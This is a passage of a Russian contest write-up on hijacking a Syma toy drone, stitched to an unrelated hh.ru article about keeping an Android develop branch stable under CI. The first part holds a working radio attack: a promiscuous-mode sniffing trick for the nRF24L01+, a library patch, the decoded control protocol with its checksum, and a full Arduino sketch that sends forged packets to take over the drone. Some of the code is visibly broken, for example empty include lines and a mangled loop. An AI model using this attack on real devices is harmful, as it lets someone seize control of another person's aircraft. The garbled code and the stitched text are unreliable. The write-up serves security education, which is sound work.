Первым делом необходимо найти каналы, на которых работает данный пульт. Но перед этим стоит пробежаться по [даташиту](https://www.nordicsemi.com/eng/nordic/download_resource/8765/2/97182311), чтобы понять, что вообще искать. Первое, что нам необходимо, это организация частот.
Теперь мы знаем, что всего имеется 126 каналов с шагом в 1 МГц. Еще полезно было бы узнать ширину канала и битрейт, на будущее.
Вообще можно все сделать и без этих знаний, ведь далеко не всегда известно, из чего состоит передатчик. Итак, запускаем сканер спектра. Мы используем UmTRX и максимально возможный для него bandwidth — 13 МГц.
Мы не стали приводить скриншоты всего спектра, но как найти подобные данные в радиоэфире — должно быть понятно. Можем увидеть, что с определенной периодичностью данные появляются на 25, 41, 57 и 73 каналах.
Несмотря на то, что даташит однозначно указывает модуляцию, в жизни у нас не всегда есть даташит к перехватываемому девайсу. Поэтому собираем простейшую схему в GNU Radio и записываем любой из найденных каналов.
Похоже, что bandwidth <= 800 КГц; согласно даташиту, это значит, что битрейт — 250 Кбит/с.
Теперь мы хотим посмотреть на записанные данные; запускаем [baudline](http://www.baudline.com/), в котором открываем записанный файл с правильными параметрами, — и видим нечто подобное:
Выбираем один из подсвеченных пиков и открываем окно waveform.
Вверху видим записанный сигнал; похоже, мы все сделали правильно, по переходам фазы становится очевидно, что это FSK/GFSK-модуляция.
Далее нам необходимо поставить демодулятор и немного отфильтровать лишнее.
Открываем результат, картина выглядит иначе, теперь находим темную полосу и открываем waveform.
Фактически дело сделано, высокий уровень — единица, низкий — ноль. А по таймлайну можно определить период импульса и посчитать битрейт.
В самом начале передатчик настраивается на частоту передачи и передает только несущую, затем идет преамбула, состоящая из последовательности 0 и 1, в разных чипах она может отличаться как длиной, так и содержанием, в nRF24L01+ она составляет 1 байт 0xAA или 0x55, в зависимости от старшего бита адреса, в нашем случае преамбула 0xAA. Затем идут байты адреса, в nRF24L01+ адрес может составлять от 3 до 5 байт (забегая вперед: это не совсем так).
Теперь мы знаем адрес (0xa20009890f). Для дальнейшего анализа необходимо сделать небольшую автоматизацию, например так:
На выходе получится файл, состоящий из последовательности 0 и 1:
```
$ hexdump -C test3.raw
```
Один из наших пакетов можно найти по смещению 0x5e25:
Что с этим делать дальше — каждый решит для себя сам, но необходимо подобрать длину пакета и тип используемой CRC. Мы написали утилиту, которая анализирует файл и пытается найти преамбулу, после которой пытается подсчитать CRC для разных вариантов длины payload и адреса двумя разными способами (см. даташит). У нас получилось так:
Однако позже пришло понимание, что Python годится только для анализа в офлайне, а «переваривать» данные в реальном времени с битрейтом даже 250 Кбит/с весьма проблематично, не говоря уже о более высоких скоростях. Так родилась вторая версия на C, которая работает в режиме реального времени.
Итак, имея payload, остается разобраться уже в самом протоколе Syma.
#### Путь нищеброда — Arduino и nRF24L01+
Этот способ, в отличие от описанного выше, не требует практически никаких знаний в области радио, и стоит крайне дешево (Arduino — 2 $, nRF24L01+ — 1 $ и примерно столько же на провода mini-USB и DuPont), однако требует некоторой смекалки и навыков гугления. Именно его участникам конкурса мы и предлагали повторить.
Основная проблема в том, что nrf24l01+ не имеет promiscuous режима. Однако сам модуль имеет несколько странных особенностей, первая — в даташите есть интересная вещь:
Если выставить этот регистр в «00», то адрес будет 2 байта. Далее есть еще одна интересная особенность: обычно преамбула передается и используется для того, чтобы приемник мог подстроиться под передатчик, именно для этого чаще всего в качестве преамбулы передается последовательность нулей и единиц. Вторая особенность модуля nRF24L01+: он не ищет преамбулу и никак ее не использует, он ищет адрес, который записан в качестве принимаемого. Если посмотреть на передаваемый сигнал на скриншотах выше, можно также заметить, что перед началом передачи преамбулы передатчик вещает несущую; опытным путем было выявлено, что чаще всего nRF24L01+ воспринимает ее как 0x00 (иногда как 0xFF, реже как случайный байт). Таким образом, используя эти недокументированные особенности мы можем перевести nRF24L01+ в promiscuous mode — установив длину адреса в 2 байта, а сам адрес как 0x00AA или 0x0055. В одном из вариантов мы будем получать данные, сдвинутые на 1 бит. Кроме того, можно принимать данные без проверки CRC.
Теперь у нас есть все необходимые теоретические знания. Используем библиотеку RF24 ([github.com/TMRh20/RF24](https://github.com/TMRh20/RF24)), хотя в ней есть недостаток: в файле RF24.cpp в функции
```
void RF24::setAddressWidth(uint8_t a_width){
if(a_width -= 2){
write_register(SETUP_AW,a_width%4);
addr_width = (a_width%4) + 2;
}
}
```
следует удалить проверку валидности:
```
void RF24::setAddressWidth(uint8_t a_width){
a_width -= 2;
write_register(SETUP_AW,a_width%4);
addr_width = (a_width%4) + 2;
}
```
Теперь пишем небольшой скетч для Arduino (данный пример для Mega, но будет работать на любой другой, нужно просто поменять CE\_PIN, CSN\_PIN на свои):
```
#include
#include
#include
#include
#define CE\_PIN 53 /// Change it for your board
#define CSN\_PIN 48 /// Change it for your board
RF24 radio(CE\_PIN, CSN\_PIN);
const char tohex[] = {'0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'};
uint64\_t pipe = 0x00AA;
byte buff[32];
byte chan=0;
byte len = 32;
byte addr\_len = 2;
void set\_nrf(){
radio.setDataRate(RF24\_250KBPS);
radio.setCRCLength(RF24\_CRC\_DISABLED);
radio.setAddressWidth(addr\_len);
radio.setPayloadSize(len);
radio.setChannel(chan);
radio.openReadingPipe(1, pipe);
radio.startListening();
}
void setup() {
Serial.begin(2000000);
printf\_begin();
radio.begin();
set\_nrf();
}
long t1 = 0;
long t2 = 0;
long tr = 0;
void loop() {
byte in;
if (Serial.available() >0) {
in = Serial.read();
if (in == 'w') {
chan+=1;
radio.setChannel(chan);
Serial.print("\nSet chan: ");
Serial.print(chan);
}
if (in == 's') {
chan-=1;
radio.setChannel(chan);
Serial.print("\nSet chan: ");
Serial.print(chan);
}
if (in == 'q') {
Serial.print("\n");
radio.printDetails();
}
}
while (radio.available()) {
t2 = t1;
t1 = micros();
tr+=1;
radio.read(&buff, sizeof(buff) );
Serial.print("\n");
Serial.print(tr);
Serial.print("\tms: ");
Serial.print(millis());
Serial.print("\tCh: ");
Serial.print(chan);
Serial.print("\tGet data: ");
for (byte i=0; i>4]);
Serial.print(tohex[(byte)buff[i]&0x0f]);
}
}
}
```
Теперь можно на серийном порте забирать готовые данные с установленного канала, смена канала осуществляется посылкой «w» и «s» в порт. Дальнейшую обработку можно производить любым удобным способом: глазами, руками, скриптами. Следует обратить внимание, что скорость порта нестандартная — 2 Мбит/c, это необходимо для того, чтобы Arduino меньше времени занималась I/O, а больше занималась делом (не забываем, что там всего лишь 16 МГц).
После нахождения канала и поимки адреса следует установить этот адрес в качестве приемного, чтобы отфильтровать данные из космоса:
```
uint64_t pipe = 0xa20009890fLL;
byte addr_len = 5;
```
Затем следует пробежаться по всем каналам и найти все, на которых проскакивает данный адрес. Немного наблюдаем за происходящим и замечаем, что 10, 11 и 12 байт меняются в зависимости от данных, а за ними идет последовательность случайных байтов — шум. Пробуем включить CRC16 (два последних байта) и сменить длину пакета до 10 байт:
```
byte len = 10;
radio.setCRCLength(RF24_CRC_16);
```
Бинго! Мы смогли подобрать все необходимые настройки nRF24L01+, которые используются данным пультом, дальше дело за разбором протокола самой Syma.
#### Протокол Syma
Разобрать его совсем не сложно, записав немного активности с пульта.
* Первый байт — значение throttle (стик газа)
* Второй байт — значение elevator (тангаж — наклон вперед-назад), где старший бит — направление (вперед или назад), а остальные 7 — значение.
* Третий байт — значение rudder (рысканье — поворот вокруг оси влево-вправо), где старший бит — направление (влево или вправо), а остальные 7 — значение.
* Четвертый байт — значение aileron (крен — наклон влево-вправо), где старший бит — направление, а остальные 7 — значение.
* Десятый байт это CRC, которая рассчитывается как XOR от первых 9 байт + 0x55, понять это — пожалуй, самое сложное.
Остальные байты можно оставить такими же, как и перехваченные, там передаются значения регулировок нулевого положения (тримы), и несколько флагов, относящихся к работе камеры.
Осталось сформировать какой-либо валидный пакет, например заставим дрона крутиться вокруг своей оси против часовой стрелки: 92007f000040002400de
Ниже приведен скетч нашего перехватчика с PHDays, который выглядел вот так:
```
#include
#include
#include
#include
#define CE\_PIN 48
#define CSN\_PIN 53
//// syma
uint8\_t chan[4] = {25,41,57,73};
const char tohex[] = {'0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'};
uint64\_t pipe = 0xa20009890fLL;
RF24 radio(CE\_PIN, CSN\_PIN);
int8\_t packet[10];
int joy\_raw[7];
byte ch=0;
//// controls
uint8\_t throttle = 0;
int8\_t rudder = 0;
int8\_t elevator = 0;
int8\_t aileron = 0;
//// syma checksum
uint8\_t checksum(){
uint8\_t sum = packet[0];
for (int i=1; i < 9; i++) sum ^= packet[i];
return (sum + 0x55);
}
//// initial
void setup() {
//set nrf
radio.begin();
radio.setDataRate(RF24\_250KBPS);
radio.setCRCLength(RF24\_CRC\_16);
radio.setPALevel(RF24\_PA\_MAX);
radio.setAutoAck(false);
radio.setRetries(0,0);
radio.setAddressWidth(5);
radio.openWritingPipe(pipe);
radio.setPayloadSize(10);
radio.setChannel(25);
//set joystick
pinMode(A0, INPUT);
pinMode(A1, INPUT);
pinMode(A2, INPUT);
pinMode(A3, INPUT);
pinMode(A4, INPUT);
pinMode(A5, INPUT);
pinMode(A6, INPUT);
digitalWrite(A3, HIGH);
digitalWrite(A4, HIGH);
digitalWrite(A5, HIGH);
digitalWrite(A6, HIGH);
//init default data
packet[0] = 0x00;
packet[1] = 0x00;
packet[2] = 0x00;
packet[3] = 0x00;
packet[4] = 0x00;
packet[5] = 0x40;
packet[6] = 0x00;
packet[7] = 0x21;
packet[8] = 0x00;
packet[9] = checksum();
}
void read\_logitech() {
joy\_raw[0] = analogRead(A0);
joy\_raw[1] = analogRead(A1);
joy\_raw[2] = analogRead(A2);
joy\_raw[3] = !digitalRead(A3);
joy\_raw[4] = !digitalRead(A4);
joy\_raw[5] = !digitalRead(A6);
joy\_raw[6] = !digitalRead(A5);
//little calibration
joy\_raw[0] = map(joy\_raw[0],150, 840, 255, 0)+10;
joy\_raw[0] = constrain(joy\_raw[0], 0, 254);
joy\_raw[1] = map(joy\_raw[1],140, 830, 0, 255);
joy\_raw[1] = constrain(joy\_raw[1], 0, 254);
joy\_raw[2] = map(joy\_raw[2],130, 720, 255, 0);
joy\_raw[2] = constrain(joy\_raw[2], 0, 254);
}
//// main loop
void loop() {
read\_logitech();
throttle = joy\_raw[2];
rudder = 64\*joy\_raw[4] - 64\*joy\_raw[5];
elevator = joy\_raw[1]-127;
aileron = joy\_raw[0]-127;
radio.openWritingPipe(pipe);
ch +=1;
if (ch>3) ch = 0;
radio.setChannel(chan[ch]);
packet[0] = throttle;
if (elevator < 0) packet[1] = abs(elevator) | 0x80; else packet[1] = elevator;
if (rudder < 0) packet[2] = abs(rudder) | 0x80; else packet[2] = rudder;
if (aileron < 0) packet[3] = abs(aileron) | 0x80; else packet[3] = aileron;
packet[4] = 0x00;
packet[5] = 0x40;
packet[6] = 0x00;
packet[7] = 0x21;
packet[8] = 0x00;
packet[9] = checksum();
radio.write( packet, sizeof(packet) );
}
```
Если нет желания разбираться с Arduino, можно собрать на этой же библиотеке программу-перехватчик на Raspberry Pi.
Готовые файлы для Raspberry — [github.com/chopengauer/nrf\_analyze](https://github.com/chopengauer/nrf_analyze).
#### Участники и победители
За два дня конференции в конкурсе приняли участие полтора десятка человек. Заинтересовавшихся было гораздо больше, но многие, узнав, что ломать нужно не Wi-Fi, разочарованно уходили. Многие боятся браться за что-то новое и непонятное, на этом и держится защищенность современного интернета вещей.
Среди участников были те, кто уже строил свои беспроводные сети на nRF24L01+, и те, кто их видел в первый раз.
Уже в середине первого дня один из участников произвел первые попытки воздействия на дрон методом записи сигнала пульта с последующим его воспроизведением, используя SDR (replay-атака). Однако дрон от этого лишь слегка дергался как от помехи. Эта атака бесполезна по причине того, что дрон использует 4 канала с разницей между верхним и нижним в 48 МГц, и воздействия по одному каналу недостаточно для угона.
Уже к вечеру первого дня один из участников обладал всеми необходимыми знаниями об особенностях модуля (двухбайтный адрес 0x00aa) и пытался отсканировать адрес нашего пульта, но проблема была в том, что ему попался даташит от устаревшей версии чипа nRF24L01 (без +), который не поддерживает используемый нашим дроном битрейт 250 Кбит/с. А еще он отказался использовать готовые библиотеки для работы с модулем и работал напрямую с его регистрами. Только хардкор! Ломаем ноги только об свои велосипеды ;)
Победителем конкурса стал Глеб Чербов, которому удалось полностью перехватить управление дроном к 16 часам второго дня. Остальным участникам не удалось перехватить адрес устройства.
**Авторы конкурса**: Павел Новиков и Артур Гарипов, Positive Technologies | https://habr.com/ru/post/302490/ | null | ru | null |
# Стабильность develop в Android
Всем привет! Меня зовут Костя, я тимлид платформенной мобильной команды в hh.ru. Мы уже рассказывали о практиках, которые помогают нам выпускать еженедельные релизы мобильных приложений: автоматизация тестирования, Release Train, GitHub Flow, Continuous Integration. И нам стали задавать вопросы: «А как дорого обходится обслуживание всех этих практик и автоматизаций в дальнейшем? С какими проблемами вы чаще всего сталкиваетесь и как их решаете?».
В статье (у которой, кстати, есть [видеоверсия](https://www.youtube.com/watch?v=HLfkaiuvFl8) в нашем влоге) я отвечу на эти вопросы, а также расскажу о том, как в Android-направлении мобильной разработки HeadHunter мы поддерживаем стабильность нашей develop-ветки.
Стабильность develop-ветки и что проверяем на CI
------------------------------------------------
Для начала стоит определиться, что такое «стабильный develop», и почему для нас это важно.
Одно из условий, которое нам важно выполнить при разработке — это возможность отправить нашу develop-ветку в релиз практически в любой момент. Это значит, что в ней не должно быть недоделанных изменений, и она должна соответствовать нашим стандартам качества. Для этого мы используем ряд автоматизированных проверок на CI перед тем, как подмерджить фиче-ветку в develop:
* **Сборка приложений:** как соискательского, так и работодательского. Оба приложения используют общую кодовую базу и переиспользуют большое количество кода в общих модулях. Разумеется, мы не хотим, чтобы поломанный билд попадал в основную ветку разработки.
* **Статические анализаторы**. В Android мы используем [Detekt](https://github.com/detekt/detekt) и [Android Lint](http://googlesamples.github.io/android-custom-lint-rules/api-guide.html), Они подсвечивают нарушения кодстайла и потенциальные проблемы в рантайме.
* Ну и, конечно же, мы запускаем **авто- и unit-тесты**. Автотесты у нас интеграционные: взаимодействуют с реальным инстансом бэкенда, развернутом в тестовом окружении с синтетическими тестовыми данными.
Итак, стабильный develop – это состояние нашей develop-ветки, в котором она успешно проходит все перечисленные автоматизированные проверки.
Казалось бы, что может пойти не так с develop-веткой? Ведь перед тем, как туда попадает что-то новое из фиче-веток, мы прогоняем все автоматизации и не даем подмерджить, если хотя бы одна не проходит проверки.
Дело в том, что стабильность develop-ветки зависит не только от того, что мы в нее мерджим. Существуют и другие факторы. Давайте в них разберемся.
### Метрика стабильности develop
Посмотрим на нашу метрику стабильности develop.
Каждая точка на графике – это доля успешных CI-прогонов на develop-ветке за последние семь дней от данной даты. То есть, на момент построения этого графика, за последнюю неделю лишь 80% CI-прогонов develop были успешными. Конечно, таковым считается только тот CI-прогон, на котором без проблем прошли все проверки. При этом выборкой для данного графика являются ночные CI-прогоны: каждую ночь наш CI автоматически запускается на всех активных фиче-ветках и обязательно на develop.
Благодаря ночным прогонам утром разработчик может узнать, не сломал ли он чего-нибудь в своей фиче-ветке, что нужно пофиксить перед мерджем в develop и насколько стабилен сам develop — не попали ли в него фатальные изменения.
Далее мы поговорим о факторах, которые мешают графику быть исключительно ровной прямой на уровне 100%.
Изменения на бэкенде
--------------------
Первый возможный фактор нестабильности develop – изменения на бэкенде, которые каким-то образом затрагивают выполнение автотестов. Например, на бэкенде изменился статичный текст, который получает приложение и отображает на экране. Этот текст мог стать больше, что повлияло на расположение других UI-элементов на экране, из-за чего наши автотесты, взаимодействующие с приложением через UI, стали промахиваться при выполнении своих проверок.
Такая ситуация возникает нечасто. Но, на самом деле, когда наши автотесты находят актуальные изменения на бэке, влияющие на флоу работы с приложением — это очень хороший сценарий. Поскольку он дарит отличный повод перепроверить, не сломалось ли что-то в нашем приложении, и подстроить наши автотесты под новые условия.
Устаревание CI-проверок
-----------------------
Следующий фактор нестабильности – это устаревание CI-проверок на PR, открытых в develop. Такую ситуацию я бы назвал *гонкой пул-реквестов*. Давайте визуализируем по шагам пример воспроизведения такой ситуации:
* Допустим, у нас был открыт пул-реквест фиче-ветки в develop (PR 1). На CI мы проверили, что состояние develop-ветки будет стабильным, если к ней подмерджить фиче-ветку из PR 1;
* Параллельно разработчик из другой команды открыл PR 2 со своей фичей, и проверки показали успех. Пока всё отлично;
* Дальше мы подмерджили PR 1 в develop. Теперь PR 2 может сделать состояние develop нестабильным, ведь проверки для PR 2 мы запускали с тем состоянием develop, когда в нем еще не было PR 1.
В идеале, чтобы этого не допускать, следует перезапускать все проверки на открытых пул-реквестах, если меняется та ветка, в которую они открыты.
Раньше мы этого не делали, и примерно пару раз в месяц наш develop падал. Например, где-то неявно мог сломаться автотест или сборка. Тогда дежурные с платформенной командой срочно бежали смотреть, в чем проблема, и быстро фиксить.
Чтобы не повторять таких ошибок, мы решили запретить мерджить пул-реквест в develop, если он не был проверен на последней актуальной версии develop.
Первое время это ощутимо нас замедляло, было неудобно и непривычно. Но из плюсов могу отметить, что такой подход мотивирует поскорее проверять и подмердживать пул-реквесты. Также это мотивирует ускорять CI-проверки, чтобы можно было без особых проблем запускать их как можно чаще. За последние полгода мы ускорили прогон наших проверок на CI в среднем от 50 до 30 минут, и это с учетом регресса через автотесты. Без жертв для полноты проверок и существенного наращивания мощностей железа, исключительно за счет более оптимального использования CI-агентов.
**Ахтунг!** Up-to-date требование для веток на PR может подойти не любой команде. Все зависит от масштабов разработки и среднего количества PR в **основную** ветку вашего репозитория в течение условной недели или дня. В нашем случае за неделю в develop открывается не больше 10 PR фиче-веток, а в среднем 6-8 за неделю (около 1-2 PR в день). Конечно же, общее количество PR у нас значительно больше, благодаря PR с задачами, открытыми в фиче-ветки, но для них мы не включаем up-to-date требование.
### Проблемы с инфраструктурой
Следующий фактор нестабильности develop – это инфраструктура. Причем, как CI-инфраструктура, так и инфраструктура тестовых стендов. Сейчас я высокоуровнево расскажу, как устроена наша инфраструктура для автотестов с точки зрения Android-разработки.
* Начнем с CI-агента – машины, на которой запускается CI-прогон. Для того чтобы запустить автотесты на CI, мы сперва отправляем запрос кластеру эмуляторов и просим его предоставить нам необходимое количество эмуляторов для запуска автотестов;
* Используя адреса эмуляторов, мы подключаемся к ним по adb и запускаем автотесты. При этом автотесты во время запуска будут взаимодействовать с API, которое развернуто на заранее подготовленном тестовом стенде;
* Тестовые стенды – это машины, на которых развернут бэк в тестовом режиме. Таких стендов у нас много, и мы можем накатывать на них инстансы бэкэнда независимо друг от друга. Так мы получаем изолированное окружение, где любой разработчик или QA может тестировать, разрабатывать и дебажить, не мешая другим.
С чем вообще у нас возникали проблемы в плане инфраструктуры?
Первое – это проблемы с тестовыми стендами. Тестовые стенды поддерживаются отдельной командой инфраструктуры на уровне всей компании, поскольку ими пользуются не только мобильные разработчики, но и фронтендеры, бэкэндеры и тестировщики из разных команд. В случае отказа того тестового стенда, к которому привязаны наши автотесты, мы, к сожалению, получим падение почти всех наших автотестов вообще.
Для того, чтобы не блочиться в случае проблемы с тестовым стендом, мы можем попробовать вручную выполнить hard reset стенда: просто удалить его состояние и накатить заново. Для этого у нас есть специальный внутренний ресурс, который позволяет провернуть данную процедуру нажатием буквально одной кнопки.
Чтобы не получать кучу упавших автотестов и не дожидаться их заведомо безуспешного окончания, мы написали скрипт валидации нашего тестового окружения, который пытается выполнить с тестовым стендом определенный набор действий. В основном это предварительные походы в тестовый API, которые предстоит выполнить в рамках автотестов. Если скрипт валидации подтверждает, что тестовый стенд готов предоставить нам нужную для автотестов функциональность, тогда мы уже запускаем непосредственно сами автотесты.
Валидация занимает меньше минуты и может сэкономить примерно полчаса полного прогона всех наших 360 автотестов, распараллеленных на 15 эмуляторах.
На графике стабильности develop мы также отображаем линию, которая отображает, какой процент валидации тестовых стендов был успешен за последние семь дней от каждой точки. На графике эта линия выделена зеленым цветом:
Общая стабильность develop не может быть выше, чем стабильность нашей тестовой инфраструктуры.
Также у нас периодически возникали проблемы с нашими CI-агентами. Например, сохраняя результаты предыдущих прогонов, мы получаем переполнение памяти на жестких дисках наших агентов. Со временем у нас растет количество информации, сохраняемой после каждого прогона, а старые результаты в сыром виде используются редко. Сейчас мы стараемся хранить сырые результаты предыдущих прогонов на CI не больше недели. Сразу после завершения очередного прогона мы отправляем всю статистику в нашу внутреннюю базу данных и спокойно чистим жесткий диск CI-агента, чтобы он не переполнялся.
Однако в наших CI-скриптах тоже могут быть баги. Не так давно мы начали сталкиваться с большим количеством ретраев автотестов из-за необъяснимых на первый взгляд 500-ых ошибок с тестового стенда. Начав разбираться в проблеме, мы поняли, что она возникает из-за ошибки в скрипте валидации тестового стенда. А именно из-за отправки невалидных тестовых данных на стенд, которые бэкэнд не мог правильно обработать.
**Вывод**: если у вас в CI-инфраструктуре достаточно сложная и объемная логика, возможно, unit-тесты для нее – не самая плохая идея. Даже если вы запускаете ее руками, чтобы не писать дополнительный CI, который проверяет основной CI.
Также отмечу, что конкретно с девайсами для автотестов, а точнее, с эмуляторами, у нас почти никогда не возникало проблем, благодаря их воспроизводимому запуску в Docker на каждый прогон автотестов. Если вы используете в своих автотестах реальные девайсы, то, пожалуйста, напишите в комментариях, насколько вам это нравится, удобно, и возникают ли у вас проблемы.
Нестабильные автотесты
----------------------
Следующий фактор нестабильности develop и, пожалуй, самый болезненный – это нестабильные (или, как мы их чаще называем, “флакующие”) автотесты. Тесты, которые с некоторой вероятностью могут как упасть, так и пройти успешно на одной и той же сборке приложения. Таким тестам очень сложно доверять, ведь постоянно складывается ощущение, что они вас обманывают.
Для того, чтобы минимизировать нестабильность автотестов, мы в Android используем надежные [Kaspresso](https://github.com/KasperskyLab/Kaspresso) и [Marathon](https://github.com/MarathonLabs/marathon).
Kaspresso позволяет бороться с нестабильностью на уровне автотестов, производя ретраи ваших UI-проверок до тех пор, пока они не будут выполнены успешно или по достижении разумного тайм-аута.
Marathon – это тест-раннер, который тоже можно применять для ретраев, только на более высоком уровне. Например, когда каждый отдельный тест в наборе может быть автоматически заретраен. Тест признается упавшим только по достижении допустимой квоты на ретраи.
Но, к сожалению, даже с этими инструментами у нас всё еще остается пространство для потенциальных проблем. Приведу конкретные примеры происходящего в автотестах, из-за чего они могут стать “флакующими”.
Первый пример — это проверка одноразовых UI-элементов типа снэкбаров, которые появляются и исчезают на экране. Проблема в том, что такие одноразовые события могут не совпасть с тем моментом, в который мы проверяем их результат на экране. В итоге мы можем оказаться в ситуации, когда ждем и много раз ретраим проверку наличия на экране снэкбара, который уже был показан ранее и никогда не появится вновь.
В своих автотестах мы пока что не решили эту проблему, но планируем реализовать способ, аналогичный тому, что используют для [проверки снэкбаров](https://avito-tech.github.io/avito-android/test_framework/Snackbar/) ребята из Avito. Идея в том, чтобы проверять одноразовые UI-события не по факту их отображения на экране, а записывать историю событий их показа, которую можно проверить постфактум. Такой способ мы уже долгое время применяем для тестирования отправки событий аналитики. Тем не менее, при реализации такой идеи стоит обратить внимание на то, какое именно событие логируется в истории: факт показа UI-элемента или намерение его показать. Это важно учитывать, так как оба способа дают разные гарантии в автотестах.
Другой пример, который также заставляет тесты быть нестабильным, и с которым мы неоднократно сталкивались – это ошибочное использование слишком общих матчеров в автотестах. Давайте рассмотрим пример.
Допустим, в рамках сценария нашего автотеста мы хотим сделать тап на втором элементе списка. Автотестировщик мог использовать матчер на второй по порядку элемент и вызвать метод для клика по нему:
```
step("Открываем автопоиск") {
autosearchRecyclerView {
childAt(1) {
click()
}
}
}
```
Но при этом он мог не учесть, что перед появлением основного списка с контентом, наше приложение отображает итемы в виде некликабельных загрузочных шиммеров.
В результате, если загрузка будет идти дольше, чем обычно, вместо реального итема наш тест кликнет на загрузочный, и ничего не произойдет. Это сломает весь дальнейший сценарий.
Что можно сделать в таком случае? Например, дождаться и проверить появление реального итема или задать такой матчер, который будет учитывать только реальный итем, а не загрузочный.
```
private fun KRecyclerItem<*>.isNotSkeletonItem() {
notMatches {
withDescendant {
withClassName(StringContains("ShimmerFrameLayout"))
}
}
}
// ...
step("Открываем автопоиск") {
autosearchRecyclerView {
childAt(1) {
isNotSkeletonItem()
click()
}
}
}
```
Еще одна распространенная проблема, с которой мы неоднократно сталкивались — не самая стабильная обработка кликов средствами нативного Espresso, который скрывается под капотом Kaspresso. Например, мы часто ловили ситуацию, когда клики срабатывают как длинные, хотя нам было нужно, чтобы они срабатывали как одинарные. Подробное описание этой проблемы и вариант ее решения можно [посмотреть](https://avito-tech.github.io/avito-android/test_framework/Internals/#custom-click) в инфраструктурном репозитории ребят из Avito.
Отчеты по автотестам
--------------------
Чтобы следить за здоровьем наших автотестов, мы используем различные отчеты об их прогонах. Например, Allure-отчеты, которые можно генерировать при помощи Kaspresso или Marathon. Разбираться в проблемах хорошо помогает разделение теста на шаги, успешность которых прикрепляется в отчет, а также запись видео и Logcat с устройства.
По каждому прогону автотестов мы генерируем отдельную сводную таблицу с количеством зафейленных ретраев каждого теста и отправляем эту статистику во внутреннюю базу данных.
Если перед мерджем фиче-ветки в develop мы сталкиваемся с блокером на упавший тест и не уверены в том, действительно ли это поломка в приложении или же тест сам по-себе нестабилен, мы можем посмотреть детальный отчет в нашей внутренней аналитике.
Пример нестабильного теста на графиках выглядит так:
А вот пример достаточно стабильного теста:
Такая статистика помогает быстро понять — нужно бежать и искать баг в приложении или поработать над стабильностью автотеста.
Что делать с нестабильными автотестами
--------------------------------------
Сейчас наше максимальное количество ретраев каждого автотеста перед тем, как он признается упавшим — пять. Если мы посмотрим на график количества упавших тестов и количество их ретраев по дням, то увидим четкую корреляцию.
**Вывод такой**: если у вас есть тесты, которые ведут себя нестабильно, но всё-таки остаются зелеными только за счет ретраев, то рано или поздно ждите беды. Такие тесты могут подвести в самый неудобный момент.
Чтобы этого избежать, лучше всего проверять автотесты на флакучесть прямо во время их написания. Например, перед тем, как мерджить новую партию автотестов, попробовать запустить их как можно больше раз на CI, и убедиться, что они ведут себя стабильно. Для этого мы сделали возможность запустить каждый отдельно взятый тест на CI любое количество раз. Это помогает нашим автотестировщикам писать более стабильные автотесты.
Также наши QA-инженеры имеют право всё-таки подмерджить ветку, даже с неудачным прогоном автотестов на CI. Но только в том случае, если они проверили вручную, что в реальных условиях сценарий воспроизводится успешно. Тогда автотесты все еще сэкономят тестировщику массу времени, ведь ему не придется тратить время на ручной регресс сотен других сценариев, которые оказались успешными по другим автотестам.
Когда тестировщик не может срочно заняться починкой нестабильного автотеста, потому что важнее успеть в релиз, он может поставить на такой тест аннотацию @Ignore. В этом случае мы обещаем себе, что рано или поздно стабилизируем или вообще переосмыслим дизайн такого автотеста.
Для оперативного реагирования на проблемы со стабильностью у нас еженедельно назначается дежурный разработчик с каждой платформы, а также есть платформенная команда, в приоритетах которой помогать в таких ситуациях. Это позволяет всем остальным разработчикам продолжать спокойно работать над своими фичами в случае проблем с develop и не тратить время на переключение контекста.
Итоги
-----
Резюмируя, перечислю, что мы сделали, чтобы иметь возможность выпускать качественные еженедельные релизы и освободить тестировщиков под более интересные задачи за пределами ручного тестирования:
* **Поработали процессно:** форсим обязательные проверки качества нашего приложения перед тем, как любые изменения попадают в develop, назначаем дежурного разработчика, а также не теряем фокус на стабильности develop со стороны платформенной команды.
* **Настроили** **подробные мониторинги** здоровья нашей инфраструктуры и автотетстов, чтобы экономить время при дальнейшем решении проблем. О некоторых проблемах можем узнавать превентивно (например, статистика ретраев автотестов).
* Чтобы экономить время на безуспешных прогонах, **валидируем корректность** настройки нашего тестового окружения и стараемся быть fail fast.
* Для борьбы с нестабильными автотестами мы **используем надежные инструменты** — Kaspresso и Marathon, плюс подготовили инструменты для проверки стабильности автотестов во время их написания автотестировщиками.
* **Остаемся гибкими**. Иногда, чтобы не блочиться в случае проблем, можем позволить себе нарушать правила, но только когда это действительно разумно и оправдано.
А как там с деньгами обстоит вопрос?
------------------------------------
Так всё-таки, насколько дорого поддерживать стабильность инфраструктуры и автоматизаций? Стоит ли оно того? Окупают ли затраты получаемый эффект?
В нашем случае — да, оно совершенно точно того стоит. Проблемы возникают далеко не каждый день. И даже когда они возникают, поддержка стабильности все еще экономит значительное количество времени тестировщиков. И именно автоматизация регресса позволяет нам проводить быстрые еженедельные инкременты продукта в продакшн, что очень классно для бизнеса.
Проблемы с автоматизациями не требуют переключения внимания всех разработчиков. Нам вполне достаточно одного еженедельного дежурного. На самом деле, большую часть времени он занимается не проблемами с инфраструктурой, а фиксами багов, которые просачиваются в релиз в том случае, когда связанная с ними функциональность еще не покрыта автотестами. Также у нас есть платформенная команда по два человека на каждую платформу. Они тратят **около 10% своего времени** на оперативное реагирование в случае возникновения проблем.
Вполне возможно, что на других масштабах описанные мной подходы будут работать совсем по-другому. И соотношение затрат к эффекту будет отличаться. На текущий момент у нас **11** **разработчиков** на каждую платформу, **2** **приложения** и **5** **команд**.
Также при внедрении таких масштабных автоматизаций будьте готовы к ресерчам и старайтесь развивать в этом экспертность не у одного единственного разработчика, а хотя бы у части вашей команды, чтобы избежать бас-фактора.
Всем стабильных автоматизаций и надежной инфраструктуры, до новых встреч в нашем оhэhэнном блоге!
### Полезные ссылки
* ТОП-5 вопросов начинающего автоматизатора про автотесты: [YouTube](https://www.youtube.com/watch?v=jVATgT-IOEY), [Habr](https://habr.com/ru/company/hh/blog/584574/)
* Джентельменский релиз (подробнее об автоматизациях релизного цикла в hh): [YouTube](https://www.youtube.com/watch?v=8siVB28i3ck), [Habr](https://habr.com/ru/company/hh/blog/588568/)
* Эволюция CI в Android (подробнее про технические аспекты нашего CI): [YouTube](https://www.youtube.com/watch?v=deQg6xRTc60), [Habr](https://habr.com/ru/company/hh/blog/585946/)
* [Kaspresso](https://github.com/KasperskyLab/Kaspresso)
* [Marathon](https://marathonlabs.github.io/marathon/)
* [avito-android](https://avito-tech.github.io/avito-android/)
